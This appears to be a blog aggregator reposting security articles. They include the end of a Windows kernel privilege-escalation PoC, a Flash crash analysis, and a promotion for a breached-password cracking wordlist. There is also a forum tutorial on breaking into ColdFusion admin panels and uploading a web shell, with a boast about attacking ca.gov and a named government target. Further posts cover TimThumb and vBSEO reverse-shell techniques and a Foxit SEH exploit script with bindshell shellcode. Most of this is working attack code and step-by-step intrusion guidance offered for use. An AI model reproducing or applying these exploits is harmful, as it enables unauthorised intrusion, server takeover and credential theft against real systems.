FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTag") + Delta);
FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutineAddress") + Delta);
FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString") + Delta);
FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThread") + Delta);
FreeLibrary(hKernel);

// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);

Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.

UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);        // Get current code page
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);

__try
{
EnableEUDC(TRUE);    
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);

After running this PoC, just type “whoami” in command prompt to see the escalated user credentials.

All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.

This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:

Windows Vista/2008 6.1.6000 x32,
Windows Vista/2008 6.1.6001 x32,
Windows 7 6.2.7600 x32,
Windows 7/2008 R2 6.2.7600 x64.

Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.

Me: nooby __at__ safengine.com

Initial release: 2010.11.24

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

noobpwnftw

Elevation of privileges under Windows Vista/7 (UAC Bypass) 0day

Video Demonstration


View the original article here

Read More

Wednesday, 24 July 2013

Fuzzing vs Reversing – Round #1 (Fuzzing)

I have recently been doing some fuzzing on the Adobe Flash Player. I started by implementing a simple format fuzzer for Flash based on a homegrown framework that I have been developing for awhile. I implemented and executed tests and progressively covered more and more of the format. After a few days, I noticed one of the SWF files causing strange crashes, the “Just in time” debugger gets triggered but the process is terminated.

FontNameCrash

Note: The debugging process has taken place under a Windows XP SP2 machine with Adobe Flash 10.1.85.3 installed. During the debugging process we debugged Internet Explorer while it was rebased to the address 03281000.

I started debugging it for awhile and saw that there was an off-by-one vulnerability in one of the functions responsible for parsing the “DefineFont2” tag’s data. The vulnerability is not as straight-forward as it may seem, however. The main function that parses “DefineFont2” is parsing the entire tag correctly, as the data propagate and the font we defined is rendered for use, the vulnerability occurs. The tag “DefineFont2” allows us to specify a font-name with the size of up-to 0xFF bytes. The “DefineFont2” tag’s format is as follows:

DefineFont2Format

After the initial processing of the “DefintFont2” tag, the function at 032ACB45 “CopyFontName” allocates a new buffer to store the font-name parameter it received. The buffer is allocated by calling the function “AllocateBuffer” at the address 032CA7FE.

Note: The function “AllocateBuffer” is wrapped by another function. The call is indirect but for the sake of simplicity, we modified the listing to show a direct call.

.text:032ACB45  CopyFontName
...
.text:032ACB68      push    [esp+0Ch+FontName]
.text:032ACB6C      jge     short loc_32ACB79
.text:032ACB79  allocateFontName:
.text:032ACB79      lea     esi, [edi+10h]
.text:032ACB7C      mov     ecx, esi
.text:032ACB7E      call    AllocateBuffer ; // AllocateBuffer(Buf, FontName);
.text:032ACB83      mov     ecx, esi
.text:032ACB85
.text:032ACB85  terminateFontName:
.text:032ACB85      push    80h
.text:032ACB8A      call    NullTerminate ; // NullTerminate(Buf, 0x80);
.text:032ACB8F      mov     ecx, edi
.text:032ACB91      call    sub_32ACA47
.text:032ACB96      pop     edi
.text:032ACB97      pop     esi
.text:032ACB98      pop     ebx
.text:032ACB99      retn    8

AllocateBuffer” allocates a new buffer at the size of the given string. (This buffer will be used to overflow the stack with an off-by-one vulnerability later-on)

.text:032CA609  AllocateBuffer

.text:032CA61C      lea     edx, [eax+1]
.text:032CA61F
.text:032CA61F  loc_32CA61F:
.text:032CA61F      mov     cl, [eax]
.text:032CA621      inc     eax
.text:032CA622      test    cl, cl
.text:032CA624      jnz     short loc_32CA61F
.text:032CA626      sub     eax, edx
.text:032CA628      jmp     short loc_32CA62C

This part of the function calculates the length of the given string; it is equivalent to the following code:

length = strlen(string); // The length is EAX

After the length of the string is calculated, the function allocates a buffer at the proper size and copies the contents of the string onto the buffer. When “AllocateBuffer” returns, “CopyFontName” calls “NullTerminate with the constant parameter of 0×80 to limit the buffer size to no more than 0×80.
Later on, the buffer that we allocated gets copied to a stack buffer during the execution of the function “Overwrite” (03426283). This function has a stack buffer with the size 0×80 to copy the string into. The problem is that the string size is 0×80 + a null terminator (which is actually 0×81). The function copies the string using the following compiler-generated code:

.text:03426372  StringCopy:
.text:03426372      mov     cl, [eax]
.text:03426374      mov     [edx+eax], cl
.text:03426377      inc     eax
.text:03426378      test    cl, cl
.text:0342637A      jnz     short StringCopy

This code fragment first copies a character and only then checks if that character is a null (as most string copy functions do). The result is a classic off-by-one vulnerability that results in the overwrite of a single byte of the stack cookie with null. This condition is not exploitable under the windows platform and it causes the browser to crash while failing the stack-cookie test.

(Btw, this vulnerability is currently a zero-day as far as i know)

Tal Zeltzer (zelik) is a security researcher from Israel, focusing on reverse engineering both software and hardware. He spends most of his free time developing private security tools and exploits for fun.


View the original article here

Read More

Google Hacking Database Updates

GHDB

Since we took up the torch of the Google Hacking Database from Johnny Long, we have introduced some changes that we feel provides a great deal of added value to our database of dorks. To make it easier for our visitors to identify changes in the database, there is a ‘New’ graphic that will appear next to a category name where new entries have been added.

In addition, and most useful, is the introduction of a ‘Free text search’ capability that will allow our users to search within the text of each entry. You can also further narrow down your search to a specific category of dorks.

We felt that the addition of the GHDB to the Exploit Database was a great fit since we have a very large collection of web application exploits and proofs of concept, many of which include Google dorks in the text already. The challenge was to import all of our pre-existing entries into the GHDB which was not a task for the faint-hearted as it is a very time-consuming process. Fortunately, root-boy, a proud OSCP, volunteered to take on this daunting task for us and completed it far faster than we could have hoped for. A big thank you goes out to root-boy from the entire Exploit-DB team.

It is our hope that you enjoy our recent changes and additions to GHDB and we are welcoming further submissions beyond exploits. You can submit dorks either through our forums or to send them in via email, check out our submit page.


View the original article here

Read More

Monday, 22 July 2013

[MASSIVE] 15GB WORDLIST FOR BRUTFORCE [MASSIVE]

Yes, this wordlist is massive, 1,500,000,000 words. no joke.

From the web page:

The list contains every wordlist, dictionary, and password database leak that I could find on the internet (and I spent a LOT of time looking). It also contains every word in the Wikipedia databases (pages-articles, retrieved 2010, all languages) as well as lots of books from Project Gutenberg. It also includes the passwords from some low-profile database breaches that were being sold in the underground years ago.

The format of the list is a standard text file sorted in non-case-sensitive alphabetical order. Lines are separated with a newline "n" character.

You can test the list without downloading it by giving SHA256 hashes to the free hash cracker. Here's a tool for computing hashes easily. Here are the results of cracking LinkedIn's and eHarmony's password hash leaks with the list.

The list is responsible for cracking about 30% of all hashes given to CrackStation's free hash cracker, but that figure should be taken with a grain of salt because some people try hashes of really weak passwords just to test the service, and others try to crack their hashes with other online hash crackers before finding CrackStation. Using the list, we were able to crack 49.98% of one customer's set of 373,000 human password hashes to motivate their move to a better salting scheme.


Webpage: http://crackstation.net/buy-crackstation...ionary.htm

Download: http://1337x.org/torrent/493880/A-BIG-pa...-wordlist/

NOTE: This is a torrent, 15gb wordlist compressed down to 4.2GB. LOTS of seeders, downloads at 2MB/s.
Read More
This tutorial gives you a basic understanding of the ColdFusion exploit. There's very many government and military websites that use this software, but only about 15% are vulnerable. I was nearly into ca.gov last night, but my friend who got into it before me, shelled the server and then patched it so only he has it. (I was extremely mad at this point - haha). Well, let's get started!


What is Adobe ColdFusion?
ColdFusion is a commercial rapid web application development platform invented by Jeremy and JJ Allaire in 1995. (The programming language used with that platform is also commonly called ColdFusion, though is more accurately known as CFML.) ColdFusion was originally designed to make it easier to connect simple HTML pages to a database. By Version 2 (1996), it had become a full platform that included an IDE in addition to a "full" scripting language. As of 2010, versions of ColdFusion (purchased by Adobe Systems in 2005) include advanced features for enterprise integration and development of rich Internet applications.

Requirements
  • Suggested - VPN, Proxy or Tor
  • A Javascript Snippet - Will Be Provided Later On
  • Tamper Data - Firefox (Tor) Plugin

Finding a site that uses Coldfusion:
This is extremely easy by the use of the "ext" google dork:
Code:
ext:cfm

Testing to see it's vulnerable:
The way we test to see if the site's vulnerable, is by first going to the admin panel. So, for example, if we have the following URL:
Code:
http://site/random/directories/shit/lol/document.cfm

We would then go to:
Code:
http://site/CFIDE/administrator

This will then display us the Adobe ColdFusion administrator panel unless we're denied access to the panel. You should see a page like this:

[Image: Oz9pwnk.jpg]
Unfortunately version 10 isn't vulnerable.

You're now going to want to take a note of the Adobe ColdFusion version, this is viewable on the administrator panel. Adobe ColdFusion version 6, 7 and 8 are vulnerable to this attack only. For other versions see 9 & 10 at the bottom of the thread.

I've found a vulnerable version, now what do I do?
You're going to want to follow the exploits below, depending on the version. Please bare in mind, these next parts all have to be done within 30 seconds, as the salt changes every 30 seconds!

(For Version 9 and 10 - Please look near to the bottom of the thread.

Version 6
Code:
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.propertiesen

Version 7
Code:
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.propertiesen​

Version 8
Code:
http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.propertiese​n

If the exploit is successful, the administrator's password hash value will be displayed on the password. I currently have no vulnerable sites so I cannot show you an example.

Version 9 & 10
You're going to want to install Python. This tutorial is quite dependent on your operating system. I will be focusing on Windows as that's what most of you use. I may write up one for Linux in the future.

First of all, install Python and then install Python Requests (http://docs.python-requests.org/en/latest/). Then save the following script to your Desktop as a.py: http://www.exploit-db.com/exploits/25305/

Windows users:
Open up command prompt and CD to the desktop
Code:
cd desktop

Then to run the script just enter in the name, if you saved it as a.py like I told you then just type:
Code:
a.py

This should run the script.

You now need to enter the URL ONLY, don't put /CFIDE/ after it. Just the URL. If the url is:
Code:
http://dtsc.ca.gov/CFIDE/administrator/

Then you would put the URL like this:
Code:
http://dtsc.ca.gov

Example:

If you get the following feedback, then it is not vulnerable:

If it is vulnerable, you will get feedback from the script with the HMAC. Then proceed to the following steps.

How can I login with a hashed password?
Now, here comes the tricky part!

You're going to make sure you have scripts enabled (for those who have NoScript) - Enter the following javascript code into your browser - although it works better if you use Scratchpad (Shift + F4 for Firefox / Ctrl + Alt + N for Chrome users):
Code:
javascript:alert(hex_hmac_sha1(document.loginform.salt.value,document.loginform.​cfadminPassword.value))

NOTE: IF YOU ARE USING SCRATCHPAD DO NOT INCLUDE THE "java-script:" PART AS IT WILL NOT WORK

You will get an alert with the HMACed hash. Copy this value. Next, start Tamper Data and click "Start Tamper" then click login, and paste the hash you obtained from the javascript in the cfadminPassword field.

If you were fast enough, you will now be logged in! Congratulations if you did it right!

Shelling The Server
What's the point of gaining access to the administrator panel if we can't even shell the server? Well, I'm going to tell you how we can!

You're going to need to have an Adobe ColdFusion Shell. You can try with a regular PHP Shell or an ASP shell but these are usually blocked. I've not been able to find this shell publically anywhere else, and is relatively private. So, for the first time I'm going to be posting here. This is the entire fUZE CFM Shell and is the current best public CFM Shell: http://pastebin.com/raw.php?i=rQHk8ZBs

Save this to your user area (on your PC) as filename.cfm for quick access in the future. Just in case you use the raw shell location, although the raw shell code is what you need for shelling the site.

Now, here comes the shelling. Once you're in the administrator panel of ColdFusion head on over to the "Settings Summary" tab on the left hand side of the panel, and find the "Mappings" section. This page shows you the full path disclosure of the CFIDE location. One of the default mappings is /CFIDE. This is where we will be writing the shell to, as that is the /CFIDE/ part of the website you're in currently. Copy the full path next to where it says /CFIDE.

Next, we need to head on over to the "Debugging and Logging" tab on the left panel and click "Scheduled Tasks". This allows us to run a task on the site (and with a little persuasion, shell the server by uploading a script). Click "Schedule New Task". Set the task name to whatever, it doesn't really matter, if you want to be more stealthy put something like "Scheduled Configuration".

Now, we change the "URL" part of the page to the RAW shell source. Hence why I supplied you with a pastebin in raw format. You can use raw pastebin links unless it is blocked by the sites Firewall. Check the option to save the output to a file. Paste the path you copied from "Mappings" into the "File" field. Type the name you want to save the shell as and the extension (cfm). So, as this is going in the /CFIDE/ directory off the site, name it something like "confg.cfm".

Double check to make sure you have done everything correctly according to this tutorial and then click "OK". Then when the page reloads, click the green check/tick to run the task. This will then upload your shell!

If everything is done correctly, your shell will be uploaded! Now to access the shell:

Code:
http://yourhackedsite.com/CFIDE/yourshellname.cfm

You will be challenged with login information. If you used the default settings from the above script then these will be your details:

Code:
Vexy:pass123

How It Should Be Done
If you want to take a look at how I do things, here you go:
[Image: suZD3nS.png]
a.py = Subzero
b.py = Python 1liner for HMAC/Salt

~Written by Vexy with help from the following link - If you find this thread anywhere else please PM me as they have stole it

Want to go into further depth than this tutorial? View this page: http://www.blackhatlibrary.net/Coldfusion_hacking
Read More

Thursday, 11 July 2013

Google Hacking Database Updates

GHDB

Since we took up the torch of the Google Hacking Database from Johnny Long, we have introduced some changes that we feel provides a great deal of added value to our database of dorks. To make it easier for our visitors to identify changes in the database, there is a ‘New’ graphic that will appear next to a category name where new entries have been added.

In addition, and most useful, is the introduction of a ‘Free text search’ capability that will allow our users to search within the text of each entry. You can also further narrow down your search to a specific category of dorks.

We felt that the addition of the GHDB to the Exploit Database was a great fit since we have a very large collection of web application exploits and proofs of concept, many of which include Google dorks in the text already. The challenge was to import all of our pre-existing entries into the GHDB which was not a task for the faint-hearted as it is a very time-consuming process. Fortunately, root-boy, a proud OSCP, volunteered to take on this daunting task for us and completed it far faster than we could have hoped for. A big thank you goes out to root-boy from the entire Exploit-DB team.

It is our hope that you enjoy our recent changes and additions to GHDB and we are welcoming further submissions beyond exploits. You can submit dorks either through our forums or to send them in via email, check out our submit page.


View the original article here

Read More

Wednesday, 10 July 2013

WordPress TimThumb operation

Exploit DatabaseWordPress is one of the worlds biggest blogging platforms and can be easily extended with vulnerable add-ons to support a variety of functions – from CMS’s to stores and pretty much anything in between. Within some web applications, themes may contain variables that refer to dynamic elements while in others, like WordPress, insecure PHP files used for caching and resizing images are surprisingly quite common.

So what’s all the fuss about? Recently, an 0day was discovered in a project called “TimThumb” which essentially, caches even remote files locally, without doing any proper sanitization. The file “timthumb.php” does however, check if to see if the target file is actually an image or not. This timthumb file is also quite often renamed to something else and is used in many themes.

The easiest way to trick TimThumb into believing a remotely stored image (that also contains evil PHP code) is an actual image, is to either craft it yourself or by using an external tool. In this case, I decided to write a small tool for the job which also has a few encoding features, payload types, and of course, options for custom images.

Using the tool is pretty straight forward and intuitive. But what are its complete features?

Feature List:

List known vulnerable themesChoose between 2 images or select your ownEnter your own code or use the Reverse PHP ShellEncode your PHP Payload, this applies only if “code” is chosenBase64 and Hexadecimal encoding is currently supportedHexadecimal output of the created file. (Can be used in paste’s, etc.)MD5 calculation of filename, that the target server will most likely use

If the src field on the target server doesn’t require Base64-encoded strings as some do, the issue is most likely because the evil domain you created isn’t readable by the web server or because it isn’t in the list of allowed domains contained within the timthumb.php file. From version to version, this appears to have changed but in version 1.32, blogger.com was a valid domain.

Q: What should the created subdomain look like?
A: blogger.com.yourdomain.tld

Simply enough, you need to test in your web browser that you can access your subdomain and of course, upload the image file which you created with TimThumbCraft. If your image is displayed when you perform the call to the timthumb.php file on the target server, you may have to press CTRL+F5 in your browser as it may be the case that the image is locally cached.

Another very important thing is that it’s very easy to change the cache directory so in some cases, the cache directory on the target may not be named “cache”. Last but not least, from version to version, strings may be prepended to the file that you forced the target server to cache locally. When I tested 1.33 in which the original researcher reported a vulnerability, it seemed like it created files without any extension. Therefore, I used 1.32 as I could confirm it was exploitable.

If you know PHP, you’re aware that you can do anything that the all-too-common malicious PHP shells can do. If you want to load a remote shell and allow_url_include is enabled within php.ini, use: include(“full url here”); and simply hit enter. As you can see in the screenshot below, I loaded a remotely stored r57 shell to demonstrate this PHP feature. Many RFI and LFI vulnerabilities are related to dynamic use of the include(); function in PHP.

Yes. The original researcher rewrote the entire script, line by line, to optimize it and make it more secure. I did a quick review of the code and fuzzed a few fields I found interesting to see if there were any obvious mistakes. None were found, so the newest version is “pretty secure”. Remember though that nothing is 100% secure.

If you want to find timthumb files on your server the right way, issue this command in a terminal: (Thanks rAWjAW for the CLI Kung Fu)

find . | grep php | xargs grep -s timthumb

Be sure that you’re in the www / document root of your web server as you may not know where any timthumb files are located and what they’re named. Hence the reason it’s a very bad idea to just search for “timthumb.php” as a lot of researchers recommended.

References:
Proof of Concept: http://www.exploit-db.com/exploits/17602/
TimThumbCraft: Download it here
Demo Video (LQ): http://www.youtube.com/watch?v=udyEOzHK08E
Demo Video (HQ): https://rapidshare.com/files/2016620847/timthumb.avi
Original Info: http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
Vulnerable Themes: http://blog.sucuri.net/2011/08/timthumb-security-vulnerability-list-of-themes-including-it.html


View the original article here

Read More

Google Hacking Database Reborn

The incredible amount of information continuously leaked onto the Internet, and therefore accessible by Google, is of great use to penetration testers around the world.  Johnny Long of Hackers for Charity started the Google Hacking Database (GHDB) to serve as a repository for search terms, called Google-Dorks, that expose sensitive information, vulnerabilities, passwords, and much more.

GHDB

As Johnny is now pursing his mission in Uganda, he has graciously allowed us at The Exploit Database to pick up where the GHDB left off and resurrect it.  It is with great excitement that we announce that the GHDB is now being hosted by us and actively maintained again.  This will allow us to tie the GHDB directly into our database of exploits providing the most current information possible.

We will be accepting new submissions through our new forums and email. For more information about sending in GHDB submissions by email, check here.  We will be updating the GHDB on a daily basis based on submissions by the community. We have opened forums for both EDB and GHDB conversation. Feel free to sign up and read the rules and guidelines here.

It is our hope that by bringing back the GHDB, we can work together to rekindle the original spirit of exploration of the GHDB community.


View the original article here

Read More

vbSEO – From XSS to Reverse PHP Shell

XSS is not a big deal, or is it? On many occasions, I’ve seen this vulnerability being classified as useless, not serious, and being a low threat. What I’ve always had in mind is that it’s only the capabilities of the browser, and the hackers mind which sets the limit for a XSS attack.

It may seem impossible to do anything else other than stealing sessions, cookies and performing phishing, client side defacements etc. But take a look at the picture above, that is a reverse php shell automatically injected into the site, when a vBulletin administrator viewed a malicious linkback.
The vulnerability itself I’m referring to, is a 0day within vBSEO which exists within the administrator and moderator panel only. However, the attacker is able to inject persistent scripts via this linkback feature directly into the part of these panels handling these linkbacks.

In short, the attacker crafts a malicious HTML page as shown in the advisory. Then, the attacker clicks a link to the target forum with vBSEO installed, and when the target is reached, vBSEO performs a GET-request to the attacker’s malicious HTML page (if it’s served online and if RefBacks are enabled).
The title of this page is then loaded directly into the database, and an administrator can see it sanitized in the actual thread, but also in the admin and mod panel where the title is not sanitized at all, allowing the script to run.
After discovering and researching this vulnerability, I realised it was a fine case to do further studies on and then develop a XSS worm. Fortunately I got away from that idea due to the fact it could’ve been abused globally on forums with vBSEO installed. However, the idea itself was not bad so I began developing the payload aka the javascript, which would eventually inject a PHP payload via the nice plugin feature in vBulletin.

Initially, the XSS trojan I wrote should be able to do all of this silently without the user knowing, so instead of document.write being used, appendChild which uses DOM objects, was used instead. This took a bit more work in order to function better, but the result was that the visible window would not change to the affected user getting infected with this trojan.

When the user browses to, in this case “Moderate Linkbacks”, the script is executing as soon as the user hits that page. When this happens, the trojan checks whether infection has already happened once and if not, continues. Then an iframe is created outside the visible frames, where the adminhash and securitytoken (CSRF-token) is read and saved in a local variable in the browser.
Then a new form is injected into this iframe, which contains the adminhash and the securitytoken. The form itself contains the values needed to create a new and completely valid plugin which in this case, is PHP code. At this point, the script checks again if the user has already been infected and if not, the form is submitted, the plugin is created, and a cookie is set to prevent the script from going in loops.

Most administrators, would notice the broken lock icon in case they use HTTPS / SSL, and then they would view the source. The great thing about using javascript to create HTML objects, especially with “appendChild” etc. is that it is not visible. A debugger, such as Firebug shown in the picture above is needed, unless the admin finds the malicious javascript payload and reads what it does, but then it might be too late.
During the execution of the XSS trojan, a time-out is set. When time runs out, the XSS trojan will try to delete itself leaving almost no traces, besides the possible injected plugin, and the remains of the hidden iframe outside the frames which cannot be viewed due to the way HTML works in FireFox.

If the attacker was successful, and patient as well, he would eventually see that the target website had already connected back to retrieve the title, but also that another user had triggered the XSS Trojan which hopefully injected the PHP plugin specified by the attacker.

So what’s this tool I’ve been using during my presentation of this vulnerability? It’s a recently developed tool written in Python, where the payload is written in Javascript, freely available to anyone in the bottom of this blog. I recommend however, that a user of this tool looks inside the source code.
Yes, it definitely is.
For a demonstration of the tool and this vulnerability, check either the YouTube or RapidShare link below.
References:
Advisory: vBSEO 3.5.2 & 3.2.2 – Persistent XSS via LinkBacks
Advisory #2: vbSEO Multiple Vulnerabilities
EvilWebTool: EvilWebTool
YT Video: http://www.youtube.com/watch?v=B6QAjB3kYec
HQ Video: http://rapidshare.com/files/445021103/vbseo_0day.mp4
Read More
Translate Request has too much data
Parameter name: request

Foxit
Some time ago, when Adobe Reader 0days were dropping left, right, and centre, Foxit Reader was frequently mentioned as a safer alternative to using Adobe. While it may be true that there are not as many exploits available for Foxit, that does not mean that it is invincible.

With this in mind, I decided to do some fuzzing using the Microsoft SDL MiniFuzz program. I fed the fuzzer a larger number of seed files, many of them Blackhat whitepapers, and let it run. Within a mere couple of hours, I was greeted with a few crashes, one of them resulting in a SEH overwrite.

Next up, I needed to determine what was causing the crash so I opened up the pdf in my trusty text editor.

At this point, I knew a couple of things. First, since the SEH was overwritten with 00E700E7, I knew I was dealing with a Unicode exploit and secondly, it was caused due to a failure in Foxit to properly sanitize the Title tag input. My next task at this point was to determine where exactly the overwrite was occurring in the string so I generated a random pattern of 10000 bytes using Metasploit and pasted it into the pdf file.

# ./pattern_create.rb 10000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac...

Opening up the pdf in Foxit, I saw that the SEH was overwritten with my unique pattern.

Passing the character string ‘r9As’ to the pattern_offset.rb script, I was able to determine the location of the SEH overwrite.

# ./pattern_offset.rb r9As 10000
538

At this point, I stripped out as much unnecessary data out of the pdf as I could and whipped up a quick and dirty python script to make the editing process much easier, including the nSEH and SEH overwrite.

#!/usr/bin/python
preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20...
...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"

lead = "\x41" * 538
nseh = "\x42\x42"
seh = "\x43\x43"
trailer = "\x44" * 9384
trailer += "\xE7\xE7"
trailer += "dookie was here: breaking your pdf reader application"
trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A"

sploit = preamble + lead + nseh + seh + trailer
filename = "foxit_title.pdf"
evil = open(filename, 'w')
evil.write(sploit)
evil.close

Generating the evil pdf and opening it up in Foxit gave me a wonderful crash with complete control over the SEH chain.

With control over SEH out of the way, the next thing to do was to find a Unicode-friendly pop-pop-retn sequence of instructions. The main Foxit binary was not SafeSEH protected so that was where I decided to look first. A good candidate was found at 0x004D002F so I plugged that into my script. I also needed to find some Unicode characters to place in nSEH that when executed, would walk over the SEH address without causing any damage and edited my script accordingly.

...
lead = "\x41" * 538
nseh = "\x41\x6d" # Walk over SEH
seh = "\x2F\x4D"  # p/p/r from app binary
...

Loading up the new pdf in Foxit, I set a breakpoint on the SEH and passed the exception twice in order to reach my p/p/r address.

I then single-stepped through the p/p/r instructions into nSEH and then “walked” right across the SEH overwrite.

Up until this point, everything was indicating that this was going to be a nice, “vanilla” Unicode exploit. All I would need to do is add some Unicode-compatible shellcode farther down in the stack, add some bytes to EAX and be on my way. Then, I discovered the bad character set:

\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x7f\x9f\xad

Since the character \x05 is bad, that meant I would not be able to do an ADD EAX as planned. I also wasn’t too happy with the amount of space available for shellcode since Unicode shellcode takes up a lot of room. I decided to do a quick search of memory to see if my buffer was unmolested elsewhere.

Pleasantly enough, I had well over 9000 bytes of space available for shellcode and even though it was still Alpha, that left tons of room available. This situation, of course, just begs for an egghunter. Armed with all of this information, I came up with my strategy:

Generate alphanumeric bindshell shellcodePlace the egg and shellcode deeper into my bufferGenerate Unicode egghunter shellcodeAlign EAX to point to the beginning of the egghunter shellcode

The first and second steps were the easiest. I simply used Metasploit to generate some alpha_upper shellcode using EAX as the base register which I add into the exploit along with “w00tw00t” as my egg.

# /msf3/msfpayload windows/shell_bind_tcp R | /msf3/msfencode BufferRegister=EAX -e x86/alpha_upper -t c
[*] x86/alpha_upper succeeded with size 745 (iteration=1)
unsigned char buf[] =
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
...

Next up on my list of tasks is to generate Unicode-compatible egghunter shellcode but there was one issue I had to contend with. When the egghunter successfully locates the egg, it jumps to the EDI register that is pointing to the shellcode. Since the final shellcode is Alpha, I also needed EAX to point to it in order to decode it properly so I needed to edit the egghunter to include a MOV EAX, EDI instruction prior to the jump to EDI. My new egghunter looks like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
OR DX,0FFF
INC EDX
PUSH EDX
PUSH 2
POP EAX
INT 2E
CMP AL,5
POP EDX
JE SHORT
MOV EAX,74303077
MOV EDI,EDX
SCAS DWORD PTR ES:[EDI]
JNZ SHORT
SCAS DWORD PTR ES:[EDI]
JNZ SHORT
MOV EAX,EDI
JMP EDI

Now I needed to take this new egghunter and encode in Unicode format. Once the shellcode had been assembled, I just needed to use skylined’s ALPHA3 encoder, using the egghunter as the input.

I added this newly-encoded shellcode to my exploit in progress and did some massaging of lengths so the code at this point looked like the following:

#!/usr/bin/python

preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25...
...x30\x37\x27\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61"

# 202 byte unicode egghunter - EAX base register
egghunter = ("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI"
"AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO"
"0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9W4K7WKO9WKPA")

# Bindshell - Does not need to be Unicode friendly as it is untouched in memory - 745 bytes
bindshell = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x4b\x58\x4b\x39\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49"
"\x4a\x45\x46\x51\x4e\x32\x45\x34\x4c\x4b\x51\x42\x46\x50\x4c"
"\x4b\x46\x32\x44\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x42\x52"
"\x47\x58\x44\x4f\x4e\x57\x50\x4a\x46\x46\x46\x51\x4b\x4f\x50"
"\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x4b\x52\x4a"
"\x50\x50\x52\x50\x57\x4c\x4b\x50\x52\x44\x50\x4c\x4b\x50\x42"
"\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x43\x44\x50\x4a\x43\x31\x4e\x30\x46\x30\x4c\x4b\x47\x38"
"\x45\x48\x4c\x4b\x51\x48\x47\x50\x45\x51\x4e\x33\x4d\x33\x47"
"\x4c\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31"
"\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x43"
"\x31\x49\x57\x50\x38\x4b\x50\x44\x35\x4c\x34\x44\x43\x43\x4d"
"\x4c\x38\x47\x4b\x43\x4d\x51\x34\x42\x55\x4a\x42\x51\x48\x4c"
